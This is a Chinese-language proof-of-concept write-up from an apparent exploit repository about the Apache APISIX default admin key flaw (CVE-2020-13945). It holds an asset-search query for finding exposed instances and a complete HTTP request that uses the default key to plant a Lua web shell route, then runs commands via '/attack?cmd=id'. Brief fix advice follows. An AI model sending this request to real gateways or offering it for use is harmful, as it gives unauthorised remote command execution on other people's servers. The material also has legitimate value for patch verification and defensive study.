POC00/ApacheAPISIX默认密钥漏洞(CVE-2020-13945).md
2025-04-02 22:36:18 +08:00

62 lines
2.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache APISIX 默认密钥漏洞(CVE-2020-13945)
# 一、漏洞简介
Apache APISIX 是一个动态、实时、高性能的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API没有配置相应的IP访问策略且没有修改配置文件Token的情况下通过攻击管理员接口即可使用script参数来插入任意LUA脚本并执行。
# 二、影响版本
+ Apache APISIX 1.2—1.5
# 三、资产测绘
+ hunter`app.name="APISIX"`
+ 特征
![1701951610416-3ffe8b1a-f818-46c3-90c2-9750d0c8c33a.png](./img/8VgmrJDcYVfiQISB/1701951610416-3ffe8b1a-f818-46c3-90c2-9750d0c8c33a-167144.png)
![1701951623458-647668b0-2b49-4197-8fea-a196df8827aa.png](./img/8VgmrJDcYVfiQISB/1701951623458-647668b0-2b49-4197-8fea-a196df8827aa-935600.png)
# 四、漏洞复现
利用默认Token增加一个恶意的router其中包含恶意LUA脚本
```plain
POST /apisix/admin/routes HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
```
访问刚才添加的router就可以通过cmd参数执行任意命令
```plain
/attack?cmd=id
```
![1701951737969-45ca1cec-6fd1-44ab-9a55-cdbccf8bf568.png](./img/8VgmrJDcYVfiQISB/1701951737969-45ca1cec-6fd1-44ab-9a55-cdbccf8bf568-114498.png)
# 五、修复建议
1. 修改Apache APISIX配置文件中 conf/config.yaml 的admin_key禁止使用默认Token
2. 若非必要关闭Apache APISIX Admin API功能或者增加IP访问限制。
3. 升级Apache APISIX 至最新版本。
> 更新: 2024-02-29 23:57:33
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sz75upt9woezyc2g>